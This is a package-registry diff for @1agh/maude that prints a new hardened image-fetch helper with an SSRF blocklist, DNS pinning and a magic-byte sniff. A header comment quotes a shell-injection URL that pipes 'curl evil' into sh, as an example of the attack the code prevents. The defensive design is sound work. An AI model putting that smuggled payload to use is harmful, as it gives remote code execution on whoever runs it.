@1agh/maude 0.39.1 → 0.41.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (137) hide show
  1. package/README.md +1 -1
  2. package/apps/studio/ai-banner.tsx +2 -2
  3. package/apps/studio/annotations-context-toolbar.tsx +44 -1
  4. package/apps/studio/annotations-layer.tsx +306 -5
  5. package/apps/studio/annotations-model.ts +107 -6
  6. package/apps/studio/api.ts +1316 -67
  7. package/apps/studio/artboard-marquee.tsx +1 -1
  8. package/apps/studio/bin/_canvas-rects-playwright.mjs +55 -0
  9. package/apps/studio/bin/_canvas-rects-static.mjs +166 -0
  10. package/apps/studio/bin/_fetch-asset.mjs +556 -0
  11. package/apps/studio/bin/_html-playwright.mjs +9 -1
  12. package/apps/studio/bin/_pdf-playwright.mjs +8 -1
  13. package/apps/studio/bin/_png-playwright.mjs +8 -1
  14. package/apps/studio/bin/_pw-launch.mjs +54 -0
  15. package/apps/studio/bin/_svg-playwright.mjs +8 -1
  16. package/apps/studio/bin/_video-playwright.mjs +452 -0
  17. package/apps/studio/bin/annotate.mjs +576 -34
  18. package/apps/studio/bin/canvas-rects.sh +152 -0
  19. package/apps/studio/bin/fetch-asset.sh +34 -0
  20. package/apps/studio/bin/prep.sh +8 -1
  21. package/apps/studio/bin/read-annotations.mjs +138 -7
  22. package/apps/studio/bin/smoke.sh +42 -6
  23. package/apps/studio/build.ts +21 -0
  24. package/apps/studio/canvas-comment-mount.tsx +138 -4
  25. package/apps/studio/canvas-edit.ts +2625 -111
  26. package/apps/studio/canvas-lib.tsx +238 -2
  27. package/apps/studio/canvas-list-watch.ts +6 -2
  28. package/apps/studio/canvas-shell.tsx +514 -20
  29. package/apps/studio/client/app.jsx +2480 -52
  30. package/apps/studio/client/comments-overlay.css +130 -126
  31. package/apps/studio/client/github.js +15 -0
  32. package/apps/studio/client/panels/TimelinePanel.jsx +860 -0
  33. package/apps/studio/client/panels/timeline-parse.js +229 -0
  34. package/apps/studio/client/panels/timeline-snap.js +55 -0
  35. package/apps/studio/client/styles/3-shell-maude.css +155 -0
  36. package/apps/studio/comments-overlay.tsx +148 -41
  37. package/apps/studio/config.schema.json +14 -0
  38. package/apps/studio/context-menu.tsx +16 -6
  39. package/apps/studio/context.ts +113 -1
  40. package/apps/studio/contextual-toolbar.tsx +262 -4
  41. package/apps/studio/cursors-overlay.tsx +4 -4
  42. package/apps/studio/dist/client.bundle.js +89 -17
  43. package/apps/studio/dist/comment-mount.js +59 -1
  44. package/apps/studio/dist/runtime/.min-sizes.json +11 -1
  45. package/apps/studio/dist/runtime/@remotion_media.js +491 -0
  46. package/apps/studio/dist/runtime/@remotion_player.js +56 -0
  47. package/apps/studio/dist/runtime/@remotion_transitions.js +300 -0
  48. package/apps/studio/dist/runtime/@remotion_transitions_clock-wipe.js +1 -0
  49. package/apps/studio/dist/runtime/@remotion_transitions_fade.js +1 -0
  50. package/apps/studio/dist/runtime/@remotion_transitions_flip.js +1 -0
  51. package/apps/studio/dist/runtime/@remotion_transitions_none.js +1 -0
  52. package/apps/studio/dist/runtime/@remotion_transitions_slide.js +1 -0
  53. package/apps/studio/dist/runtime/@remotion_transitions_wipe.js +1 -0
  54. package/apps/studio/dist/runtime/REMOTION-LICENSE.md +28 -0
  55. package/apps/studio/dist/runtime/remotion.js +42 -0
  56. package/apps/studio/dist/styles.css +1 -1
  57. package/apps/studio/dom-selection.ts +127 -1
  58. package/apps/studio/drag-state.ts +24 -0
  59. package/apps/studio/equal-spacing-detector.ts +205 -0
  60. package/apps/studio/export-dialog.tsx +1 -1
  61. package/apps/studio/exporters/_browser-bundles.ts +117 -0
  62. package/apps/studio/exporters/_runtime.ts +69 -0
  63. package/apps/studio/exporters/html.ts +4 -3
  64. package/apps/studio/exporters/index.ts +28 -2
  65. package/apps/studio/exporters/pdf.ts +4 -3
  66. package/apps/studio/exporters/png.ts +5 -3
  67. package/apps/studio/exporters/pptx.ts +6 -4
  68. package/apps/studio/exporters/svg.ts +9 -5
  69. package/apps/studio/exporters/video-encode-lib.ts +200 -0
  70. package/apps/studio/exporters/video-render-lib.ts +108 -0
  71. package/apps/studio/exporters/video.ts +184 -0
  72. package/apps/studio/history.ts +47 -1
  73. package/apps/studio/http.ts +758 -27
  74. package/apps/studio/input-router.tsx +19 -1
  75. package/apps/studio/marquee-overlay.tsx +1 -1
  76. package/apps/studio/measure-overlay.tsx +241 -0
  77. package/apps/studio/participants-chrome.tsx +3 -3
  78. package/apps/studio/runtime-bundle.ts +30 -0
  79. package/apps/studio/server.ts +34 -9
  80. package/apps/studio/sizing-mode.ts +117 -0
  81. package/apps/studio/spacing-handles.ts +166 -0
  82. package/apps/studio/test/annotate-write.test.ts +890 -0
  83. package/apps/studio/test/annotations-roundtrip.test.ts +47 -0
  84. package/apps/studio/test/camera-reveal.test.tsx +173 -0
  85. package/apps/studio/test/canvas-create-api.test.ts +76 -0
  86. package/apps/studio/test/canvas-edit.test.ts +140 -0
  87. package/apps/studio/test/canvas-list-watch.test.ts +49 -0
  88. package/apps/studio/test/canvas-media-drop.test.ts +30 -1
  89. package/apps/studio/test/canvas-origin-gate.test.ts +54 -0
  90. package/apps/studio/test/canvas-rects.test.ts +198 -0
  91. package/apps/studio/test/clip-addressing.test.ts +732 -0
  92. package/apps/studio/test/comments-overlay.test.ts +117 -0
  93. package/apps/studio/test/config-reload.test.ts +230 -0
  94. package/apps/studio/test/dns-rebinding-guard.test.ts +74 -0
  95. package/apps/studio/test/dom-selection.test.ts +130 -0
  96. package/apps/studio/test/edit-css-occurrence.test.ts +81 -0
  97. package/apps/studio/test/edit-persistence.test.ts +91 -0
  98. package/apps/studio/test/edit-scope-api.test.ts +115 -0
  99. package/apps/studio/test/element-resize.test.ts +136 -0
  100. package/apps/studio/test/element-structural-api.test.ts +360 -0
  101. package/apps/studio/test/element-structural-edit.test.ts +233 -0
  102. package/apps/studio/test/equal-spacing-detector.test.ts +165 -1
  103. package/apps/studio/test/exporters/runtime.test.ts +59 -0
  104. package/apps/studio/test/file-lock.test.ts +84 -0
  105. package/apps/studio/test/fixtures/video-comp-fixture.tsx +82 -0
  106. package/apps/studio/test/history-rollback.test.ts +26 -0
  107. package/apps/studio/test/knob-props-authored.test.ts +87 -0
  108. package/apps/studio/test/read-annotations.test.ts +154 -0
  109. package/apps/studio/test/sizing-mode.test.ts +102 -0
  110. package/apps/studio/test/spacing-handles.test.ts +138 -0
  111. package/apps/studio/test/specimen-select.test.ts +88 -0
  112. package/apps/studio/test/timeline-parse.test.ts +127 -0
  113. package/apps/studio/test/timeline-snap.test.ts +85 -0
  114. package/apps/studio/test/tool-palette-insert-anchor.test.ts +84 -0
  115. package/apps/studio/test/undo-sequence-byte-compare.test.ts +211 -0
  116. package/apps/studio/test/video-asset.test.ts +163 -0
  117. package/apps/studio/test/video-comp-fixture.test.ts +50 -0
  118. package/apps/studio/test/video-comp.test.ts +168 -0
  119. package/apps/studio/test/video-render-bridge.test.ts +149 -0
  120. package/apps/studio/tool-palette.tsx +122 -2
  121. package/apps/studio/undo-hud.tsx +2 -2
  122. package/apps/studio/use-annotation-resize.tsx +6 -3
  123. package/apps/studio/use-canvas-media-drop.tsx +66 -4
  124. package/apps/studio/use-element-resize.tsx +732 -0
  125. package/apps/studio/use-keyboard-discipline.tsx +205 -15
  126. package/apps/studio/use-selection-set.tsx +14 -0
  127. package/apps/studio/use-spacing-handles.tsx +388 -0
  128. package/apps/studio/video-comp.tsx +444 -0
  129. package/apps/studio/whats-new.json +55 -0
  130. package/apps/studio/ws.ts +5 -0
  131. package/cli/commands/design.mjs +6 -1
  132. package/cli/commands/design.test.mjs +49 -1
  133. package/cli/lib/fetch-asset.test.mjs +213 -0
  134. package/package.json +8 -8
  135. package/plugins/design/dependencies.json +10 -2
  136. package/plugins/design/templates/_shell.html +25 -2
  137. package/plugins/design/templates/design-system-inspiration/_MAPPING.md +1 -1
@@ -0,0 +1,556 @@
1
+ #!/usr/bin/env node
2
+ // _fetch-asset.mjs — hardened download-first helper behind `maude design
3
+ // fetch-asset` (DDR-062 dispatch; DDR-147 § Security follow-up item 1).
4
+ //
5
+ // WHY THIS EXISTS: the moodboard (`/design:setup-ds` Stage 3) and DS specimens
6
+ // fill photo slots with imagery the research pass harvests off the web. An
7
+ // external `<img src="https://…">` hotlink is blocked by the canvas iframe CSP
8
+ // (`img-src 'self' data: blob:`, ALWAYS on under the default DDR-054 origin
9
+ // split) and is browser-context-flaky even where it isn't — so DDR-147 made
10
+ // download-first the rule: fetch to a LOCAL asset, reference the local path.
11
+ // But the download is a confused-deputy sink: every `reference_images[].url`
12
+ // is ATTACKER-CONTROLLED (it came from a page the research pass ingested) and
13
+ // `<designRoot>/assets/` is VERSIONED (it commits + syncs to peers, DDR-054).
14
+ // So this helper is the ONE reviewable place that does the fetch safely:
15
+ //
16
+ // • fixed, non-interpolated curl args — the URL is passed as a single argv
17
+ // element after `--`, never spliced into a shell string (closes the
18
+ // `https://x/a.png";curl evil|sh;"` shell-injection RCE that a hand-authored
19
+ // prose `curl` recipe transcribed by an agent would open),
20
+ // • https-only, no redirects, size + time caps, no-proxy,
21
+ // • a RESOLVED-IP SSRF gate (reject loopback / link-local / RFC-1918 / CGNAT /
22
+ // multicast / reserved, v4 AND v6, incl. IPv4-mapped + NAT64 embeds) with
23
+ // DNS PINNING via `--resolve` so a rebinding TOCTOU can't swap a validated
24
+ // public IP for 169.254.169.254 between the check and the connect,
25
+ // • a magic-byte image sniff (png/jpg/gif/webp; SVG/HTML/script → reject),
26
+ // • a content-addressed `<sha8>.<ext>` filename (`[a-z0-9._-]` only) written
27
+ // FLAT under `<designRoot>/assets/` with a realpath containment assertion —
28
+ // mirroring the `/_api/asset` route's convention so the reference form
29
+ // `/assets/<sha8>.<ext>` serves on BOTH the main and the segregated canvas
30
+ // origin (the nested `assets/moodboard/<ds>/` layout 404'd on the canvas
31
+ // origin's flat-only `/assets/` gate — the second half of the bug this fixes).
32
+ //
33
+ // Reached via `maude design fetch-asset <url> --root <repo>`, never a raw path.
34
+ // stdout on success = the canvas reference path (one line), so the caller can do
35
+ // REF=$(maude design fetch-asset "$URL" --root "$REPO") && <use $REF> || <scrap>
36
+ // Exit: 0 ok · 2 usage · 3 SSRF/validation reject · 4 download/http error ·
37
+ // 5 unsupported media type · 6 write/containment error · 1 other.
38
+
39
+ import { execFileSync } from 'node:child_process';
40
+ import { createHash } from 'node:crypto';
41
+ import { lookup } from 'node:dns/promises';
42
+ import { existsSync, mkdirSync, readFileSync, renameSync, rmSync } from 'node:fs';
43
+ import { isIP } from 'node:net';
44
+ import { join, resolve, sep } from 'node:path';
45
+ import { pathToFileURL } from 'node:url';
46
+
47
+ // A real browser UA — some CDNs (wikimedia) 403 a bare curl/UA; the memory
48
+ // `canvas-images-download-first` documents this. Fixed string, never templated.
49
+ const BROWSER_UA =
50
+ 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36';
51
+
52
+ // Images keep the tighter 10 MB cap (mirrors api.ts ASSET_MAX_BYTES for the
53
+ // image category). Override for a giant hero via --max-bytes.
54
+ const DEFAULT_MAX_BYTES = 10 * 1024 * 1024;
55
+ const DEFAULT_MAX_TIME = 20; // seconds — whole transfer
56
+
57
+ // ── IPv4 ───────────────────────────────────────────────────────────────────
58
+
59
+ /** Parse a dotted-quad into a 4-byte array, or null if not a valid IPv4. */
60
+ export function parseIPv4(str) {
61
+ if (typeof str !== 'string') return null;
62
+ const parts = str.split('.');
63
+ if (parts.length !== 4) return null;
64
+ const bytes = new Uint8Array(4);
65
+ for (let i = 0; i < 4; i += 1) {
66
+ const p = parts[i];
67
+ // No leading-zero octets (avoids octal ambiguity), digits only, 0..255.
68
+ if (!/^\d{1,3}$/.test(p)) return null;
69
+ if (p.length > 1 && p[0] === '0') return null;
70
+ const n = Number(p);
71
+ if (n > 255) return null;
72
+ bytes[i] = n;
73
+ }
74
+ return bytes;
75
+ }
76
+
77
+ /**
78
+ * Return a block-reason string if this IPv4 is a private / loopback / link-local
79
+ * / reserved address that egress must never reach, else null (public → allowed).
80
+ */
81
+ export function classifyIPv4(bytes) {
82
+ const [a, b] = bytes;
83
+ if (a === 0) return 'ipv4 0.0.0.0/8 (this-network)';
84
+ if (a === 10) return 'ipv4 10.0.0.0/8 (private)';
85
+ if (a === 127) return 'ipv4 127.0.0.0/8 (loopback)';
86
+ if (a === 100 && b >= 64 && b <= 127) return 'ipv4 100.64.0.0/10 (CGNAT)';
87
+ if (a === 169 && b === 254) return 'ipv4 169.254.0.0/16 (link-local incl. IMDS)';
88
+ if (a === 172 && b >= 16 && b <= 31) return 'ipv4 172.16.0.0/12 (private)';
89
+ if (a === 192 && b === 0 && bytes[2] === 0) return 'ipv4 192.0.0.0/24 (IETF)';
90
+ if (a === 192 && b === 0 && bytes[2] === 2) return 'ipv4 192.0.2.0/24 (TEST-NET-1)';
91
+ if (a === 192 && b === 168) return 'ipv4 192.168.0.0/16 (private)';
92
+ if (a === 198 && (b === 18 || b === 19)) return 'ipv4 198.18.0.0/15 (benchmark)';
93
+ if (a >= 224 && a <= 239) return 'ipv4 224.0.0.0/4 (multicast)';
94
+ if (a >= 240) return 'ipv4 240.0.0.0/4 (reserved/broadcast)';
95
+ return null;
96
+ }
97
+
98
+ // ── IPv6 ───────────────────────────────────────────────────────────────────
99
+
100
+ /** Parse an IPv6 string (incl. `::`, zone id, embedded IPv4) into 16 bytes. */
101
+ export function parseIPv6(str) {
102
+ if (typeof str !== 'string') return null;
103
+ let s = str.trim();
104
+ const zone = s.indexOf('%');
105
+ if (zone !== -1) s = s.slice(0, zone); // drop scope id (fe80::1%en0)
106
+
107
+ // Embedded trailing IPv4 (::ffff:1.2.3.4 or 64:ff9b::1.2.3.4) → two hextets.
108
+ if (s.includes('.')) {
109
+ const idx = s.lastIndexOf(':');
110
+ if (idx === -1) return null;
111
+ const v4 = parseIPv4(s.slice(idx + 1));
112
+ if (!v4) return null;
113
+ const h1 = ((v4[0] << 8) | v4[1]).toString(16);
114
+ const h2 = ((v4[2] << 8) | v4[3]).toString(16);
115
+ s = `${s.slice(0, idx + 1)}${h1}:${h2}`;
116
+ }
117
+
118
+ const halves = s.split('::');
119
+ if (halves.length > 2) return null;
120
+ const head = halves[0] ? halves[0].split(':') : [];
121
+ const tail = halves.length === 2 ? (halves[1] ? halves[1].split(':') : []) : null;
122
+
123
+ let groups;
124
+ if (tail === null) {
125
+ if (head.length !== 8) return null; // no '::' ⇒ must be exactly 8 groups
126
+ groups = head;
127
+ } else {
128
+ const missing = 8 - (head.length + tail.length);
129
+ if (missing < 1) return null; // '::' must stand for ≥1 zero group
130
+ groups = [...head, ...Array(missing).fill('0'), ...tail];
131
+ }
132
+ if (groups.length !== 8) return null;
133
+
134
+ const bytes = new Uint8Array(16);
135
+ for (let i = 0; i < 8; i += 1) {
136
+ const g = groups[i];
137
+ if (!/^[0-9a-fA-F]{1,4}$/.test(g)) return null;
138
+ const v = Number.parseInt(g, 16);
139
+ bytes[i * 2] = (v >> 8) & 0xff;
140
+ bytes[i * 2 + 1] = v & 0xff;
141
+ }
142
+ return bytes;
143
+ }
144
+
145
+ /** Block-reason for an IPv6 (16 bytes), or null if public/allowed. */
146
+ export function classifyIPv6(bytes) {
147
+ const b = bytes;
148
+ const allZeroThrough = (n) => b.slice(0, n).every((x) => x === 0);
149
+
150
+ if (allZeroThrough(16)) return 'ipv6 :: (unspecified)';
151
+ if (allZeroThrough(15) && b[15] === 1) return 'ipv6 ::1 (loopback)';
152
+ if (b[0] === 0xfe && (b[1] & 0xc0) === 0x80) return 'ipv6 fe80::/10 (link-local)';
153
+ if ((b[0] & 0xfe) === 0xfc) return 'ipv6 fc00::/7 (unique-local)';
154
+ if (b[0] === 0xff) return 'ipv6 ff00::/8 (multicast)';
155
+
156
+ // IPv4-mapped ::ffff:0:0/96 — classify the embedded v4 (the real target).
157
+ if (allZeroThrough(10) && b[10] === 0xff && b[11] === 0xff) {
158
+ const reason = classifyIPv4(b.slice(12, 16));
159
+ return reason ? `ipv4-mapped ${reason}` : null;
160
+ }
161
+ // NAT64 well-known prefix 64:ff9b::/96 — classify the embedded v4 too.
162
+ if (
163
+ b[0] === 0x00 &&
164
+ b[1] === 0x64 &&
165
+ b[2] === 0xff &&
166
+ b[3] === 0x9b &&
167
+ allZeroThroughRange(b, 4, 12)
168
+ ) {
169
+ const reason = classifyIPv4(b.slice(12, 16));
170
+ return reason ? `nat64 ${reason}` : null;
171
+ }
172
+ return null;
173
+ }
174
+
175
+ function allZeroThroughRange(b, from, to) {
176
+ for (let i = from; i < to; i += 1) if (b[i] !== 0) return false;
177
+ return true;
178
+ }
179
+
180
+ /**
181
+ * Classify any IP literal string. Returns a block-reason (truthy) if egress to
182
+ * it is forbidden, null if allowed, and 'unparseable address' if it isn't a
183
+ * valid IP (fail-closed — the caller rejects on any non-null).
184
+ */
185
+ export function classifyAddress(addr) {
186
+ const kind = isIP(addr);
187
+ if (kind === 4) {
188
+ const bytes = parseIPv4(addr);
189
+ return bytes ? classifyIPv4(bytes) : 'unparseable ipv4';
190
+ }
191
+ if (kind === 6) {
192
+ const bytes = parseIPv6(addr);
193
+ return bytes ? classifyIPv6(bytes) : 'unparseable ipv6';
194
+ }
195
+ return 'not an ip address';
196
+ }
197
+
198
+ // ── URL target ───────────────────────────────────────────────────────────────
199
+
200
+ /**
201
+ * Validate the URL is a plain https target and pull out {host, port}. Throws a
202
+ * FetchAssetError (code 3) on anything else — non-https scheme, embedded
203
+ * credentials, missing host.
204
+ */
205
+ export function parseHttpsTarget(rawUrl) {
206
+ let u;
207
+ try {
208
+ u = new URL(rawUrl);
209
+ } catch {
210
+ throw new FetchAssetError(3, `not a valid URL: ${truncate(rawUrl)}`);
211
+ }
212
+ if (u.protocol !== 'https:') {
213
+ throw new FetchAssetError(3, `only https:// is allowed (got ${u.protocol}//)`);
214
+ }
215
+ if (u.username || u.password) {
216
+ throw new FetchAssetError(3, 'URLs with embedded credentials are refused');
217
+ }
218
+ const host = u.hostname;
219
+ if (!host) throw new FetchAssetError(3, 'URL has no host');
220
+ const port = u.port ? Number(u.port) : 443;
221
+ if (!Number.isInteger(port) || port < 1 || port > 65535) {
222
+ throw new FetchAssetError(3, `bad port ${u.port}`);
223
+ }
224
+ return { host, port };
225
+ }
226
+
227
+ // ── image sniff + naming ─────────────────────────────────────────────────────
228
+
229
+ /**
230
+ * Magic-byte sniff — png/jpg/gif/webp only. Mirrors api.ts sniffImageType so
231
+ * this lane and the /_api/asset route agree. SVG (XML text) matches nothing →
232
+ * null → rejected, so a script-bearing vector can't ride in as an "image".
233
+ * Bytes decide the extension; the URL/Content-Type is never trusted.
234
+ */
235
+ export function sniffImageExt(b) {
236
+ if (
237
+ b.length >= 8 &&
238
+ b[0] === 0x89 &&
239
+ b[1] === 0x50 &&
240
+ b[2] === 0x4e &&
241
+ b[3] === 0x47 &&
242
+ b[4] === 0x0d &&
243
+ b[5] === 0x0a &&
244
+ b[6] === 0x1a &&
245
+ b[7] === 0x0a
246
+ ) {
247
+ return 'png';
248
+ }
249
+ if (b.length >= 3 && b[0] === 0xff && b[1] === 0xd8 && b[2] === 0xff) return 'jpg';
250
+ if (
251
+ b.length >= 6 &&
252
+ b[0] === 0x47 &&
253
+ b[1] === 0x49 &&
254
+ b[2] === 0x46 &&
255
+ b[3] === 0x38 &&
256
+ (b[4] === 0x37 || b[4] === 0x39) &&
257
+ b[5] === 0x61
258
+ ) {
259
+ return 'gif';
260
+ }
261
+ if (
262
+ b.length >= 12 &&
263
+ b[0] === 0x52 &&
264
+ b[1] === 0x49 &&
265
+ b[2] === 0x46 &&
266
+ b[3] === 0x46 &&
267
+ b[8] === 0x57 &&
268
+ b[9] === 0x45 &&
269
+ b[10] === 0x42 &&
270
+ b[11] === 0x50
271
+ ) {
272
+ return 'webp';
273
+ }
274
+ return null;
275
+ }
276
+
277
+ /** Content-addressed name `<sha8>.<ext>` — same shape the /_api/asset route uses. */
278
+ export function assetName(bytes, ext) {
279
+ const sha8 = createHash('sha256').update(bytes).digest('hex').slice(0, 8);
280
+ const name = `${sha8}.${ext}`;
281
+ // Defense-in-depth: the shape is machine-generated, but assert the charset
282
+ // contract the untrusted-fetch rails promise (`[a-z0-9._-]`, no path segment).
283
+ if (!/^[a-z0-9]{8}\.(png|jpg|gif|webp)$/.test(name)) {
284
+ throw new FetchAssetError(6, `generated name failed the charset contract: ${name}`);
285
+ }
286
+ return name;
287
+ }
288
+
289
+ /**
290
+ * Resolve `<root>/<designRootRel>/assets/<name>` and assert it stays inside the
291
+ * assets dir (realpath containment — poisoned designRoot / traversal backstop).
292
+ */
293
+ export function containedAssetPath(root, designRootRel, name) {
294
+ const rootAbs = resolve(root);
295
+ const assetsDir = resolve(rootAbs, designRootRel, 'assets');
296
+ if (assetsDir !== rootAbs && !assetsDir.startsWith(rootAbs + sep)) {
297
+ throw new FetchAssetError(6, `assets dir escapes root: ${assetsDir}`);
298
+ }
299
+ const fileAbs = resolve(assetsDir, name);
300
+ if (fileAbs !== join(assetsDir, name) || !fileAbs.startsWith(assetsDir + sep)) {
301
+ throw new FetchAssetError(6, `resolved asset path escapes assets dir: ${fileAbs}`);
302
+ }
303
+ return { assetsDir, fileAbs };
304
+ }
305
+
306
+ export class FetchAssetError extends Error {
307
+ constructor(code, message) {
308
+ super(message);
309
+ this.code = code;
310
+ }
311
+ }
312
+
313
+ function truncate(s, n = 120) {
314
+ const str = String(s);
315
+ return str.length > n ? `${str.slice(0, n)}…` : str;
316
+ }
317
+
318
+ // ── network (impure) ─────────────────────────────────────────────────────────
319
+
320
+ /**
321
+ * Resolve the host to IPs, reject if ANY is internal (conservative — a host that
322
+ * also resolves to an internal IP is treated as hostile, defeating a mixed
323
+ * public/internal rebinding answer), and return the public IP to pin to.
324
+ */
325
+ export async function resolveSafeIp(host) {
326
+ // An IP literal host is classified directly — no DNS.
327
+ if (isIP(host)) {
328
+ const reason = classifyAddress(host);
329
+ if (reason) throw new FetchAssetError(3, `blocked address ${host} — ${reason}`);
330
+ return host;
331
+ }
332
+ let records;
333
+ try {
334
+ records = await lookup(host, { all: true, verbatim: true });
335
+ } catch (err) {
336
+ throw new FetchAssetError(3, `DNS resolution failed for ${host}: ${err?.code ?? err?.message}`);
337
+ }
338
+ if (!records.length) throw new FetchAssetError(3, `no DNS records for ${host}`);
339
+ for (const { address } of records) {
340
+ const reason = classifyAddress(address);
341
+ if (reason) throw new FetchAssetError(3, `${host} resolves to blocked ${address} — ${reason}`);
342
+ }
343
+ return records[0].address;
344
+ }
345
+
346
+ /**
347
+ * Download <url> to <tmpAbs> with the hardened, fixed curl args, pinning the
348
+ * connection to the pre-validated <pinIp> so no re-resolution (rebinding) can
349
+ * occur. Returns nothing; throws FetchAssetError(4) on any non-200 / transport
350
+ * failure. The URL is the LAST argv element after `--` — never interpolated.
351
+ */
352
+ export function curlDownload({ url, host, port, pinIp, tmpAbs, maxBytes, maxTime }) {
353
+ const args = [
354
+ '--proto',
355
+ '=https',
356
+ '--proto-redir',
357
+ '=https',
358
+ '--max-redirs',
359
+ '0', // no redirects — blocks redirect-to-internal SSRF
360
+ '--max-filesize',
361
+ String(maxBytes),
362
+ '--max-time',
363
+ String(maxTime),
364
+ '--connect-timeout',
365
+ String(Math.min(maxTime, 10)),
366
+ '--noproxy',
367
+ '*', // ignore *_PROXY env — no egress via a poisoned proxy
368
+ '-sS',
369
+ '-A',
370
+ BROWSER_UA,
371
+ '--resolve',
372
+ `${host}:${port}:${pinIp}`, // pin — defeats DNS rebinding
373
+ '-o',
374
+ tmpAbs,
375
+ '-w',
376
+ '%{http_code}',
377
+ '--',
378
+ url,
379
+ ];
380
+ let httpCode;
381
+ try {
382
+ httpCode = execFileSync('curl', args, {
383
+ encoding: 'utf8',
384
+ timeout: (maxTime + 5) * 1000,
385
+ maxBuffer: 1024 * 1024,
386
+ }).trim();
387
+ } catch (err) {
388
+ throw new FetchAssetError(4, `curl failed: ${err?.message ?? err}`);
389
+ }
390
+ if (httpCode !== '200') {
391
+ throw new FetchAssetError(
392
+ 4,
393
+ `server returned HTTP ${httpCode || '(none)'} (redirects disabled)`
394
+ );
395
+ }
396
+ }
397
+
398
+ // ── orchestration ────────────────────────────────────────────────────────────
399
+
400
+ /**
401
+ * Full fetch: validate URL → SSRF-gate the resolved IP → download pinned →
402
+ * sniff → content-address → contain → write. Returns
403
+ * { ref, path, name, bytes, ext }. Throws FetchAssetError with a .code.
404
+ */
405
+ export async function fetchAsset({
406
+ url,
407
+ root,
408
+ designRootRel = '.design',
409
+ maxBytes = DEFAULT_MAX_BYTES,
410
+ maxTime = DEFAULT_MAX_TIME,
411
+ }) {
412
+ const { host, port } = parseHttpsTarget(url);
413
+ const pinIp = await resolveSafeIp(host);
414
+
415
+ const { assetsDir } = containedAssetPath(root, designRootRel, 'placeholder.png');
416
+ mkdirSync(assetsDir, { recursive: true });
417
+ const tmpAbs = join(
418
+ assetsDir,
419
+ `.tmp-${createHash('sha256').update(url).digest('hex').slice(0, 12)}`
420
+ );
421
+
422
+ try {
423
+ curlDownload({ url, host, port, pinIp, tmpAbs, maxBytes, maxTime });
424
+
425
+ let data;
426
+ try {
427
+ data = readFileSync(tmpAbs);
428
+ } catch {
429
+ throw new FetchAssetError(4, 'download produced no file');
430
+ }
431
+ if (data.length === 0) throw new FetchAssetError(4, 'downloaded empty body');
432
+ if (data.length > maxBytes) throw new FetchAssetError(4, `file exceeds ${maxBytes} bytes`);
433
+
434
+ const ext = sniffImageExt(data);
435
+ if (!ext) {
436
+ throw new FetchAssetError(5, 'not a png/jpg/gif/webp image (SVG/HTML/script rejected)');
437
+ }
438
+
439
+ const name = assetName(data, ext);
440
+ const { fileAbs } = containedAssetPath(root, designRootRel, name);
441
+ // Dedupe — identical bytes hash to the same name.
442
+ if (existsSync(fileAbs)) {
443
+ rmSync(tmpAbs, { force: true });
444
+ } else {
445
+ renameSync(tmpAbs, fileAbs);
446
+ }
447
+ return { ref: `/assets/${name}`, path: `assets/${name}`, name, bytes: data.length, ext };
448
+ } finally {
449
+ rmSync(tmpAbs, { force: true });
450
+ }
451
+ }
452
+
453
+ // ── CLI ──────────────────────────────────────────────────────────────────────
454
+
455
+ function parseArgv(argv) {
456
+ const out = {
457
+ url: null,
458
+ root: null,
459
+ designRoot: '.design',
460
+ maxBytes: DEFAULT_MAX_BYTES,
461
+ maxTime: DEFAULT_MAX_TIME,
462
+ json: false,
463
+ };
464
+ for (let i = 0; i < argv.length; i += 1) {
465
+ const a = argv[i];
466
+ switch (a) {
467
+ case '--root':
468
+ out.root = argv[++i];
469
+ break;
470
+ case '--design-root':
471
+ out.designRoot = argv[++i];
472
+ break;
473
+ case '--max-bytes':
474
+ out.maxBytes = Number(argv[++i]);
475
+ break;
476
+ case '--max-time':
477
+ out.maxTime = Number(argv[++i]);
478
+ break;
479
+ case '--json':
480
+ out.json = true;
481
+ break;
482
+ case '--help':
483
+ case '-h':
484
+ out.help = true;
485
+ break;
486
+ default:
487
+ if (a.startsWith('-')) throw new FetchAssetError(2, `unknown flag ${a}`);
488
+ if (out.url === null) out.url = a;
489
+ else throw new FetchAssetError(2, `unexpected extra arg ${a}`);
490
+ }
491
+ }
492
+ return out;
493
+ }
494
+
495
+ const HELP = `fetch-asset — hardened download-first image fetch (reached via \`maude design fetch-asset\`)
496
+
497
+ Usage:
498
+ maude design fetch-asset <https-url> --root <repo> [--design-root .design]
499
+ [--max-bytes N] [--max-time S] [--json]
500
+
501
+ Downloads an image over https ONLY, through a resolved-IP SSRF gate + DNS pin,
502
+ sniffs the bytes (png/jpg/gif/webp; SVG/HTML rejected), content-addresses it as
503
+ <designRoot>/assets/<sha8>.<ext>, and prints the canvas reference path.
504
+
505
+ On success stdout = the reference path, e.g. /assets/a44d3d60.png
506
+ REF=$(maude design fetch-asset "$URL" --root "$REPO") && echo "$REF" || echo scrap
507
+
508
+ Exit: 0 ok · 2 usage · 3 SSRF/validation reject · 4 download/http error ·
509
+ 5 unsupported media type · 6 write/containment error · 1 other.`;
510
+
511
+ async function main() {
512
+ let opts;
513
+ try {
514
+ opts = parseArgv(process.argv.slice(2));
515
+ } catch (err) {
516
+ process.stderr.write(`fetch-asset: ${err.message}\n`);
517
+ process.exit(err instanceof FetchAssetError ? err.code : 2);
518
+ }
519
+ if (opts.help) {
520
+ process.stdout.write(`${HELP}\n`);
521
+ return;
522
+ }
523
+ if (!opts.url) {
524
+ process.stderr.write('fetch-asset: <https-url> required\n');
525
+ process.exit(2);
526
+ }
527
+ const root = opts.root || process.env.CLAUDE_PROJECT_DIR || process.cwd();
528
+ if (!Number.isFinite(opts.maxBytes) || opts.maxBytes <= 0) {
529
+ process.stderr.write('fetch-asset: --max-bytes must be a positive number\n');
530
+ process.exit(2);
531
+ }
532
+ if (!Number.isFinite(opts.maxTime) || opts.maxTime <= 0) {
533
+ process.stderr.write('fetch-asset: --max-time must be a positive number\n');
534
+ process.exit(2);
535
+ }
536
+ try {
537
+ const r = await fetchAsset({
538
+ url: opts.url,
539
+ root,
540
+ designRootRel: opts.designRoot,
541
+ maxBytes: opts.maxBytes,
542
+ maxTime: opts.maxTime,
543
+ });
544
+ process.stdout.write(opts.json ? `${JSON.stringify(r)}\n` : `${r.ref}\n`);
545
+ } catch (err) {
546
+ process.stderr.write(`fetch-asset: ${err.message}\n`);
547
+ process.exit(err instanceof FetchAssetError ? err.code : 1);
548
+ }
549
+ }
550
+
551
